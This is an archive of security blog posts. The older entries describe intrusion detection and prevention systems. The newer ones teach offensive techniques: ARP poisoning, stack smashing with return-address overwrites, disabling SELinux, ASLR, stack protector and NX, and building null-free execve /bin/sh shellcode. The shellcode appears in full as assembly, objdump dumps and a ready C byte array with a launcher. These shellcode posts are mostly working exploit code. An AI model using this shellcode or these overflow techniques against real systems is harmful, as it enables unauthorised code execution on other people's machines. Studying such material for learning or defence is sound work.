Intrusion Alert

ARP Poisoning

2011-10-26T04:51:00.000-07:00

In Ethernet network if hostA wants to communicate with hostB than hostA should know the MAC address of hostB. The ip address of every system is mapped on to its corresponding MAC address. This mapping is done with the help of ARP.

When an ip address is to be resolved into MAC address, ARP first checks ARP cache if the MAC address of the specific ip address exists or not. If exists it sends a packet to the destination. If not ARP sends a request packet to find the MAC address, this request packet consists of source MAC and ip addresses and destination ip address. And this request packet is broadcasted in the network. If there exists a host with the specified ip address than it replies back to source with its MAC address.

The only problem with arp is it is a stateless protocol. so it doesn't remember even if it had requested for mac of any ip address or not, so when ever a gratituous arp reply arrives it just updates the arp cache without further checking if its genuine. so arp poisoning can be easily done. ARP poisoning is sometimes the starting point for more sophisticated lan attacks like denial of service, man in the middle and session hijacking.
The following is the code for ARP poisoning, it helps you in finding out how the attack can be practically implemented.click here

Shell Code revisited

2011-03-19T09:17:00.000-07:00

    This post gives brief description on how to write assembly code, so that we can obtain a flexible shell code from that.
   The following is the re-written assembly code:

#shellCode.s
#Here we are using relative addressing
.text
.globl _start
_start:
    jmp CallStmt #jump to the preocedure mentioned

    Shellcode:
    popl %esi
    xorl %eax, %eax      # initializing value of eax to 0
    movb %al, 0x7(%esi) # making A of string to 0
   movl %esi, 0x8(%esi) # placing the address of starting of string into BBBB
   movl %eax, 0xc(%esi) #placing 0000 in the place of CCCC
   movb $11, %al           #11 is system call no. for execve
   movl %esi, %ebx
   leal 0x8(%esi), %ecx
   leal 0xc(%esi), %edx
   int $0x80 #call interrupt

CallStmt:
     call Shellcode # push the address of shellvar into stack
     shellvar:
          .ascii "/bin/shABBBBCCCC"

   In the above shell code the string (shellvar) plays the key role. The jmp statement in the starting would start executing the CallStmt procedure, the "call Shellcode" would push the address of next statement( i.e address of starting of string) into the stack and start executing Shellcode procedure, we obtain this address into %esi, by issuing popl %esi, now we manipulate the string as follows

   Initial String: "\bin\shABBBBCCCC"

   A should represent end of string ( so A should be replaced by 0)
   BBBB contains the address of start of string ( so %esi should be placed in BBBB)
   CCCC contains NULL (0000 or environment pointer)

   The %esp (containing address of string ) would act as first argument, similarly the address in BBBB acts as second pointer and NULL in CCCC acts as third argument to execve. Here we are making at most use of bit spaces in order to avoid null characters in our shell code. And the rest of the assembly code is self
explainatory.
   The following is the shell code that we had obtained from the above assembly code, by using the objdump tool.

manoj@manoj-laptop:~/Desktop/blog$ objdump -d ./shell
shell:     file format elf32-i386
Disassembly of section .text:

08048054 <_start>:
8048054:   eb 18                   jmp    804806e

08048056 :
8048056:   5e                      pop    %esi
8048057:   31 c0                  xor    %eax,%eax
8048059:   88 46 07             mov    %al,0x7(%esi)
804805c:   89 76 08             mov    %esi,0x8(%esi)
804805f:   89 46 0c            mov    %eax,0xc(%esi)
8048062:   b0 0b                  mov    $0xb,%al
8048064:   89 f3                   mov    %esi,%ebx
8048066:   8d 4e 08             lea    0x8(%esi),%ecx
8048069:   8d 56 0c             lea    0xc(%esi),%edx
804806c:   cd 80                  int    $0x80

0804806e :
804806e:   e8 e3 ff ff ff          call   8048056

08048073 :
8048073:   2f                      das
8048074:   62 69 6e                bound %ebp,0x6e(%ecx)
8048077:   2f                      das
8048078:   73 68                   jae    80480e2
804807a:   41                      inc    %ecx
804807b:   42                      inc    %edx
804807c:   42                      inc    %edx
804807d:   42                      inc    %edx
804807e:   42                      inc    %edx
804807f:   43                      inc    %ebx
8048080:   43                      inc    %ebx
8048081:   43                      inc    %ebx
8048082:   43                      inc    %ebx
manoj@manoj-laptop:~/Desktop/blog$

   Note that the shell code we obtained here is free from null characters and it does even have hard coded addresses, like in the shell code we have obtained in
the previous post.
   The obtained shell code is inserted in the c code in the form of global character array as mentioned below:

//shellCode.c
char shellcode[] =
   "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff"
   "\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";

void main()
{
   int *ret;
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

   In the above program ret is the pointer variable which would change the return address present in the stack ( return address of main), to address of shellcode( global char array), in this way we execute our obtained shell code.
    The execution of c code is as follows:

manoj@manoj-laptop:~/Desktop/blog$ gcc -fno-stack-protector -z execstack shell.c -o ex
manoj@manoj-laptop:~/Desktop/blog$ ./ex
$
                                         That's all for this time... Happy hacking... :)

Shellcode Basics

2011-03-10T23:40:00.000-08:00

    Here we make use of gcc 4.4.1, gdb, and objdump tools to construct a shell code and we embed this code in a c program and run this exploit on vulnerable Linux machine.
   The following is the basic c code to spawn a shell using the execve system call( the general syntax of execve system call is: int execve(const char *filename,char *const argv[],char *const envp[]), this returns 0 on success and -1 on failure).

//shell.c
void main()
{
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}

This is compiled as gcc -o shell -ggdb -static shell.c
   Here we have to include -static or else the actual code for the execve will not be included, instead there will be a reference to dynamic C library that would normally would be linked in at load time.
   Then we can look at its assembler code by disassembling the main program using gdb (step 1. gdb ./shell step 2. disas main), so that we can get basic idea of how the assembly code is written.
   So now we have to write a assembly code and check out its shell code using objdump, i am not going to teach you of how to write assembly code from basics. :)

#shellcode.s
#check c code thoroughly before seeing this assembly code
.data
   sh:
       .asciz "/bin/sh"
   NULL1:
       .int 0
   shaddr:
       .int 0
   NULL2:
       .int 0
.text
   .globl _start
_start:
   movl $sh,shaddr #moving address of sh to shaddr
   movl $11,%eax #11 is system call number for execve
   movl $sh, %ebx #1st argument
   movl $shaddr, %ecx # 2nd argument
   movl $NULL2, %edx # 3rd argument
   int $0x80

Here in the above assembly code i am using at&t syntax. The .data part specifies the variables that we are going to use in the program, the _start: part indicates the starting of the code.In general we move system call number into %eax followed by arguments for the system call into %ebx, %ecx and so on. The data part in memory is organized as "/bin/sh" followed by null1 and followed by address of sh and again followed by null2.
Comparing this with above c code we have sh==>name[0], null1==>name[1], shaddr==>name, null2==>NULL(environment pointer), and at last int $0x80 is used to wake up kernel to run.
   On execution of above assembly code is as follows:

manoj@manoj-laptop:~/Desktop/buffer$ as -gstabs -o shell.o shell.s
manoj@manoj-laptop:~/Desktop/buffer$ ld -o shell shell.o
manoj@manoj-laptop:~/Desktop/buffer$ ./shell
$

Now we use the objdump tool to check the shell code for our assembly code

manoj@manoj-laptop:~/Desktop/buffer$ objdump -d ./shell

./shell:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
8048074:   c7 05 a0 90 04 08 94    movl   $0x8049094,0x80490a0
804807b:   90 04 08
804807e:   b8 0b 00 00 00          mov    $0xb,%eax
8048083:   bb 94 90 04 08          mov    $0x8049094,%ebx
8048088:   b9 a0 90 04 08          mov    $0x80490a0,%ecx
804808d:   ba a4 90 04 08          mov    $0x80490a4,%edx
8048092:   cd 80                   int    $0x80

   The second column (i.e c7, 05,....) indicates the shell code. But the following are the problems associated with the above shell code:
1. There are zeroes(i.e 00) in the above shell code, as we know we cannot push this into a character array(to implement exploit), simply because in strings null means end of string, so if we push this into a string and give this as input to a program then program wont consider the string part present after 00. hence we have to further modify the assembly code to remove these null characters
2. You can observe that the addresses of say "/bin/sh" location ($0x8049094) are all hard coded as we can see above, so the problem with this is it may not work if we try to push this across various computers, so we need to setup relative addressing, to make our shell code much flexible.
   In my next post i will be giving information of how we can get shell code which is flexible enough and without having problems as mentioned above.

Creating a vulnerable Linux environment

2011-03-09T10:48:00.000-08:00

Hello all, in this blog we will discuss about how to create a vulnerable linux environment such that we can execute our buffer overflow codes without wasting much time.
Note: Here we are using gcc 4.4.1 compiler on Ubuntu 9.10

First of all we have to disable SELINUX present in your system, this can be done by going to /etc/sysconfig/selinux file and changingthe SELINUX=permissive setting to SELINUX=disabled, here we are disabling this because, selinux offers mandatory access control policies on OS, where in user programs are not given privileges beyond a certain extent.
Next we have to turn off randomize_va_space, because generally shellcode uses the address space to execute its malicious payload, so if you randomize your address space to new processes than your system becomes more secure against attacks, so in order to turn it off issue this command in terminal==>sudo sysctl -w kernel.randomize_va_space=0.
Next we have to disable the stack smashing protector, by issuing this -fno-stack-protector while compiling the c code.
Next we have to disable executable space protection, "Executable space protection" is the marking of memory regions as non-executable, such that an attempt to execute machine code in these regions will raise an exception. So in order to disable this use -z execstack while compiling the c code.
so the c code is compiled as gcc -fno-stack-protector -z execstack vulnerable.c -o vulnerable

Smashing the stack

2011-02-13T05:24:00.000-08:00

This part mainly concentrates on how we can change the return address present in the stack when a function is called. On changing the return address, we can skip the instructions that are supposed to be executed in normal fashion.
The simple C code is as follows(this is executed on gcc 4.4.1)
#include
void fun(int a,int b,int c)
{
int buf2[2]={3,4};
int buf1[2]={1,2};
int *x;
x=buf1+6;//1st part
(*x)+=13;//2nd part
}
int main()
{
int x=0;
fun(1,2,3);
printf("This will not be printed");
return 0;
}

Using gdb we can simply break the code and check the stack when and where we want. The stack picture for above program is as follows

Top of stack bottom of stack
[buf1][buf2][pointer_of_x][stack_pointer][return_address]3 2 1
bottom memory address Top memory address

This can be seen on gdb by breaking the code at line 7 and there by typing
gdb>x/32xw $esp

The code in 1st part helps in seeking the pointer to the return address, and the code in the second part helps us in moving the pointer to some instruction in main program. To write 2nd part we have to disassemble main program using :
gdb> disas main

we get something like this

0x0804841e : push %ebp
0x0804841f : mov %esp,%ebp
0x08048421 : and $0xfffffff0,%esp
0x08048424 : sub $0x20,%esp
0x08048427 : movl $0x0,0x1c(%esp)
0x0804842f : movl $0x3,0x8(%esp)
0x08048437 : movl $0x2,0x4(%esp)
0x0804843f : movl $0x1,(%esp)
0x08048446 : call 0x80483e4
0x0804844b : mov $0x8048520,%eax
0x08048450 : mov %eax,(%esp)
0x08048453 : call 0x804831c
0x08048458 : mov $0x0,%eax
0x0804845d : leave
0x0804845e : ret
End of assembler dump.

now we are adding 13 in second part as we are trying to skip print statement and directly move on to main+59 line (simply 58-45=13)

Similarly other c code is as follows...

#include
void fun(int a, int b, int c)
{
int buffer2[4]={7,8,9,10};
int e=13;
int d=3;
int *ret;
int buffer1[3]={4,5,6};
ret = buffer1 + 9;//this goes to return pointers address
(*ret) += 34;//changes contents of return address by seein disas main
}
int main()
{
int x;
x = 0;
fun(1,2,3);
x = 1;
printf("The value of x:%d\n",x);
return 0;
}
lets meet up in the next discussion on how this can be implemented as an attack in our day to day life....

Distributed Intrusion Detection Systems...DIDS

2010-03-14T00:15:00.000-08:00

A distributed IDS consists of multiple Intrusion Detection Systems (IDS) over a large network, all of which communicate with each other, or with a central server that facilitates advanced network monitoring, incident analysis, and instant attack data. By having these co-operative agents distributed across a network, incident analysts, network operations, and security personnel are able to get a broader view of what is occurring on their network as a whole.

A DIDS also allows a company to efficiently manage its incident analysis resources by centralizing its attack records and by giving the analyst a quick and easy way to spot new trends and patterns and to identify threats to the network across multiple network segments. This article will discuss distributed intrusion detection systems, including the general setup of a DIDS and a fictional case study to demonstrate the distributed analysis abilities. It will also try to give the reader some insight into the benefits of running a DIDS system, from both incident analyst and corporate views.

Overview

The Central Analysis Server

The central analysis server is really the heart and soul of the operation. This server would ideally consist of a database and Web server. This allows the interactive querying of attack data for analysis as well as a useful Web interface to allow the corporate guys upstairs to see the current attack status of your network. It also allows analysts to perform pre-programmed queries, such as attack aggregation, statistics gathering, to identify attack patterns and to perform rudimentary incident analysis, all from a Web interface.

The Co-operative Agent Network

The co-operative agent network is one of the most important components of the dIDS. An agent is a piece of software that reports attack information to the central analysis server. The use of multiple agents across a network allows the incident analysis team a broader view of the network than can be achieved with single IDS systems.

Ideally these agents will be located on separate network segments, and geographical locations (See diagram below.) The agents can also be distributed across multiple physical locations, allowing for a single incident analysis team to view attack data across multiple corporate locations.

Although any IDS could be used on the agent machines, it is highly suggested that Snort be used. It has been demonstrated, however, that any attack logging system can be incorporated into this agent network. This can range from router attack logs, to ipfw, firewalls, and even Windows personal firewall systems.

Attack Aggregation

Attack aggregation is another core part of the dIDS system. This part of the system is programming logic based on the central server. Aggregation simply refers to the method in which users group or order the information gathered from the agent network. One example of this would be to aggregate information according to attacker IP, putting all attacks from an attacking IP together with other attacks from the same IP. Another example is the aggregation of attack data according to destination (attacked) port, or even by date and time. Uses for aggregation will be explained later in this paper.

Advantages of a dIDS

Why a dIDS?

Due to the greater view the agent allows the analyst to achieve, the dIDS offers the incident analyst many advantages over other single mode IDS systems. One of these advantages is the ability to detect attack patterns across an entire corporate network, with geographic locations separating segments by time zones or even continents. This could allow for the early detection of a well-planned and coordinated attack against the organization in question, which would allow the security people to ensure that targeted systems are secured and offending IPs are disallowed any access. Another proven advantage is to allow early detection of an Internet worm making its way through a corporate network. This information could then be used to identify and clean systems that have been infected by the worm, and prevent further spread of the worm into the network, therefore lowering any financial losses that would otherwise have been incurred.

The second major advantage is that a single analysis team can now do what previously required several incident analysis teams due to physical distance. This obviates the need to pay for distinct incident analysis teams for each separate geographic location of the organization’s offices. Another issue that it addresses is attacks from within the corporations network by angry, upset, or bored employees. By tying the central analysis server in with the companies DHCP or RADIUS servers, the incident analysts can track down people launching attacks from within the company, and track what they have attempted to do, as well as provide evidence against the perpetrators.

Wireless intrusion detection system

2009-06-17T10:52:00.000-07:00

Introduction:

Threats to wireless local area networks (WLANs) are numerous and potentially devastating. Security issues ranging from misconfigured wireless access points (WAPs) to session hijacking to Denial of Service (DoS) can plague a WLAN. Wireless networks are not only susceptible to TCP/IP-based attacks native to wired networks, they are also subject to a wide array of 802.11-specific threats.WLANs should employ a security solution that includes an intrusion detection system (IDS). Even organizations without a WLAN are at risk of wireless threats and should consider an IDS solution.

Wireless IDS:

IDS have traditionally been developed to detect intrusions and misuse for wired systems and networks. More recently, IDS have been developed for use on wireless networks. These wireless IDS can monitor and analyze user and system activities, recognize patterns of known attacks, identify abnormal network activity, and detect policy violations for WLANs. Wireless IDS gather all local wireless transmissions and generate alerts based either on predefined signatures or on anomalies in the traffic.

A Wireless IDS is similar to a standard, wired IDS, but has additional deployment requirements as well as some unique features specific to WLAN intrusion and misuse detection.

Physical location detection is a critical aspect of a wireless IDS. 802.11 attacks are often carried out in close proximity to the WAP and can be performed in an extremely short timeframe. Therefore, the response to attacks needs to not only be logical, like standard IDSs (i.e. Block the offending IP address), the response also needs to incorporate the physical deployment of individuals to identify the attacker - and the response must be timely. Unlike wired attacks where the hacker is usually great physical distances from the victim network, wireless attackers are often physically located on the local premises. A wireless IDS can aid in detecting the attacker's location by providing at least a general estimate of their physical location. By correlating the captured 802.11 data with the sensor location as well as the location of the victim WAP, the physical location of the attacker can be more easily identified.

How Hackers work:

In an effort to identify potential WAP targets, hackers commonly use scanning software. Hackers or curious individuals will use tools such as Netstumbler or Kismet to map out a given area's WAPs. Used in conjunction with a Global Positioning System (GPS) these scans not only locate WAPs, but also log their geographical coordinates. These tools have become so popular that there are web sites dedicated to mapping the world's WAP geography. A wireless IDS can detect these and other scans, helping to improve awareness of the threats to the WLAN.

Draw Backs of wireless IDS:

The benefits to a wireless IDS are numerous, but there are several drawbacks to consider before deploying such a system. Wireless intrusion detection is a rather new technology. Caution should be taken before applying any new technology to an operational network. Because the technology is new, there may be bugs, or worse vulnerabilities which could potentially weaken the WLAN security. Wireless IDS technology is developing at a rapid pace though, and this caveat may not be a deterrent in the future. A potential turn-off to a wireless IDS solution may be cost.

The expense of the vendor solutions may be prohibitive. In such a case, a homegrown solution can be developed, but this approach may prove costly as well due to the extensive human capital that may be required to develop such a solution. Also, the cost of the wireless IDS solution (vendor-based or homegrown) will grow in conjunction with the size of the WLAN to be monitored, due to the requirement for a greater number of sensors. Therefore, the larger the WLAN, the more expensive the wireless IDS deployment will be.

Intrusion Prevention Systems

2009-06-13T03:44:00.000-07:00

Intrusion prevention is a way of protecting your computer system from unwanted entry. Most computers have firewall programs installed to protect their systems from exploitation, but intrusion prevention is a system added for extra security. An intrusion prevention system provides added protection from either computer viruses or hackers trying to break into your network.

Intrusion prevention systems are much more secure than common firewall technology. Although considered to be an expansion of the original intrusion detection system, they are actually more a way of controlling who has access to a computer network. They not only control access, but also detect entry to the network, so the two systems are closely linked.

The intrusion prevention system controls access to a network based on the content of the application trying to make contact. Prior to this, the detection from firewalls was based on ports or IP addresses. A good intrusion prevention system not only detects intrusion, but also controls access to a network. This latter feature is the system's main improvement over detection only firewalls.

There are different types of intrusion prevention available for added security.

Network intrusion prevention systems are usually hardware devices that are situated in the network. Unlike host based intrusion systems that have to be applied to every computer in the network, the network system requires fewer devices to be installed.

The network intrusion prevention system can be content based or rate based. A content based system will inspect and disallow any entry from content that is not known. The content may be not be recognized by the prevention system, or it may have been previously recorded as a threat to the system.

Rate based network intrusion prevention is based on the intent of the attack rather than the content. The rate-based system can identify threats that are different from the traffic the network usually receives. The rate-based system learns the type and behavior of normal network traffic and sets parameters accordingly. Anything that falls outside of these parameters will be prevented access to the network.

There are also host based intrusion prevention systems. These are software only applications that are very good at detecting unwanted entry after decryption has occurred. Over time, the host-based system builds up a monitoring system for access to the computer’s network. The only problem with host based prevention is that it must be installed on every computer in the network. It also cannot cope with larger rate based access attacks, as it does not have the capabilities to deal with these levels of detection and denial of entry.

Hybrid Intrusion Detection System

2009-06-01T00:37:00.000-07:00

HIDS and NIDS Used in Combination:

The two types of intrusion detection systems differ significantly from each other, but complement one another well. The network architecture of host-based is agent-based, which means that a software agent resides on each of the hosts that will be governed by the system. In addition, more efficient host-based intrusion detection systems are capable of monitoring and collecting system audit trails in real time as well as on a scheduled basis, thus distributing both CPU utilization and network overhead and providing for a flexible means of security administration.

In a proper IDS implementation, it would be advantageous to fully integrate the network intrusion detection system, such that it would filter alerts and notifications in an identical manner to the host-based portion of the system, controlled from the same central location. In doing so, this provides a convenient means of managing and reacting to misuse using both types of intrusion detection.

That said, as an organization introduces an IDS into its network to augment its current information security strategy, the primary focus of the intrusion detection system should be host-based. Although network intrusion detection has its merits and certainly must be incorporated into a proper IDS solution, it has historically been incapable of evolving to comply with the growing technology of data communications. Most NIDS perform miserably, if at all, on switched networks, fast networks of speeds over 100 Mbps, and encrypted networks. Furthermore, somewhere in the range of 80-85 percent of security incidents originate from within an organization. Consequently, intrusion detection systems should rely predominantly on host-based components, but should always make use of NIDS to complete the defense. In short, a truly secure environment requires both a network and host-based intrusion detection implementation to provide for a robust system that is the basis for all of the monitoring, response, and detection of computer misuse.

NIDS

2009-06-01T00:01:00.000-07:00

Network based intrusion detection system:

Network-based intrusion detection systems operate differently from host-based IDS.This analyzes data packets that travel over the actual network. Based on these suspicious packets, a NIDS can scan its own database of known network attack signatures and assign a severity level for each packet. If severity levels are high enough, a warning email placed to security team members so they can further investigate the nature of the anomaly.

In general, network-based systems are best at detecting the following activities:

Unauthorized outsider access: When an unauthorized user logs in successfully, or attempts to log in, they are best tracked with host-based IDS. However, detecting the unauthorized user before their log on attempt is best accomplished with network-based IDS.
Bandwidth theft/denial of service: These attacks from outside the network single out network resources for abuse or overload. The packets that initiate/carry these attacks can best be noticed with use of network-based IDS.

Some possible downsides to NIDS include encrypted packet payloads and high-speed networks, both of which inhibit the effectiveness of packet interception and deter packet interpretation. Examples of network-based IDS include Shadow, Snort!, Dragon, NFR, RealSecure, and NetProwler.

Snort is an IDS designed to be comprehensive and accurate in successfully logging malicious network activity and notifying administrators when potential breaches occur. Snort uses the standard libcap library and tcpdump as a packet logging backend.

The most prized feature of Snort, in addition to its functionality, is its flexible attack signature subsystem. Snort has a constantly updated database of attacks that can be added to and updated via the Internet.

IDS Types and HIDS

2009-05-19T03:57:00.000-07:00

In general intrusion detection systems can be categorized into three types. They are

Host based IDS
Network based IDS
Hybrid IDS

Host Based IDS:
Host-based consult several types of log files (kernel, system, server, network, firewall, and more), and compare the logs against an internal database of common signatures for known attacks. UNIX and Linux host-based IDS make heavy use of syslog and its ability to separate logged events by their severity (for example, minor printer messages versus major kernel warnings). The syslog command is available when installing the sysklogd package, which is included with Red Hat Enterprise Linux. This package provides system logging and kernel message trapping. The host-based IDS filters logs (which, in the case of some network and kernel event logs, can be quite verbose), analyzes them, re-tags the anomalous messages with its own system of severity rating, and collects them in its own specialized log for administrator analysis.
A host-based IDS can also verify the data integrity of important files and executables. It checks a database of sensitive files (and any files added by the administrator) and creates a checksum of each file with a message-file digest utility such as md5sum (128-bit algorithm) or sha1sum (160-bit algorithm). The host-based IDS then stores the sums in a plain text file and periodically compares the file checksums against the values in the text file. If any of the file checksums do not match, the IDS alerts the administrator by email or cellular pager.
Tripwire is the most popular host-based IDS for Linux. Tripwire, Inc., the developers of Tripwire, opened the software source code for the Linux version and licensed it under the terms of the GNU General Public License. Tripwire is available from http://www.tripwire.org/.
SWATCH ( http://sourceforge.net/projects/swatch/ ) and LIDS (http://www.lids.org/ ) are other commonly used IDS.

IDS Overview

2009-05-15T08:46:00.000-07:00

Intrusion detection systems do exactly as the name suggests, they detect possible intrusions. More specifically, IDS tools aim to detect computer attacks/misuse, and to alert the proper individuals upon detection. An IDS installed on a network provides much the same purpose as a burglar alarm system installed in a house. Through various methods, both detect when an intruder/attacker/burglar is present, and both subsequently issue some type of warning or alert.

IDS systems monitor, detect and respond to the unauthorized access either by insiders or outsiders.IDS use policies to define certain events that, if detected will issue an alert. In other words, if a particular event is considered to constitute a security incident, an alert will be issued if that event is detected. Certain intrusion detection systems have the capability of sending out alerts, so that the administrator of the IDS will receive a notification of a possible security incident in the form of a email or SNMP trap. Many IDS not only recognize a particular incident and issue an appropriate alert, they also respond automatically to the event. Such a response might include logging off a user, disabling a user account, and launching of scripts.

Some IDS are knowledge-based, which preemptively alert security administrators before an intrusion occurs using a database of common attacks. Alternatively, there are behavioral-based IDS that track all resource usage for anomalies, which is usually a positive sign of malicious activity. Some are standalone services that work in the background and passively listen for activity. Others combine standard system tools, modified configurations, and verbose logging, with administrator intuition and experience to create a powerful intrusion detection kit.

Basics on Intrusion Detection and Intrusion Prevention

2009-05-14T04:59:00.000-07:00

Intrusion Detection:
This encompasses a range of security techniques that are designed to detect or report any instance of intrusion into the security system to the user/ network administrator. Intrusion detection technologies are detective rather than preventive, but they can help mitigate following types of risks by providing a security administrator with information on attempted or actual security events.
-> Destruction of data
-> Network intrusion
-> Unauthorized access
-> Denial of service attacks.

Intrusion Prevention:
These systems combine all levels of firewall and intrusion detection technologies, they often end up with systems that can operate at all levels of network stack. The only disadvantage of intrusion prevention systems is that they are not fast and robust. For this reason IPS may not be appropriate where speed is of high importance.
Intrusion prevention systems are a sophisticated class of network security implementation that not only has the ability to detect the presence of intruders and their actions but also to prevent them from successfully launching any attack.These systems are designed to detect malicious packets within normal network traffic and stop network intrusion, blocking unauthorized traffic automatically before it does damage rather than simply raising an alert.

Intrusion

2009-05-14T04:33:00.000-07:00

One of the threats to the security system is the intruder, generally referred to as a hacker or a cracker.
There are three classes of intruders:

a.Masquerader: An individual who is not authorized to use the computer and who penetrates a system's access controls to exploit a legitimate users account.
b.Misfeasor: A legitimate user who accesses data, or resources for which such access is not authorized.
c.Clandestine User: An individual who seizes supervisory control of the system and uses this control to evade auditing and access controls or to suppress audit collection.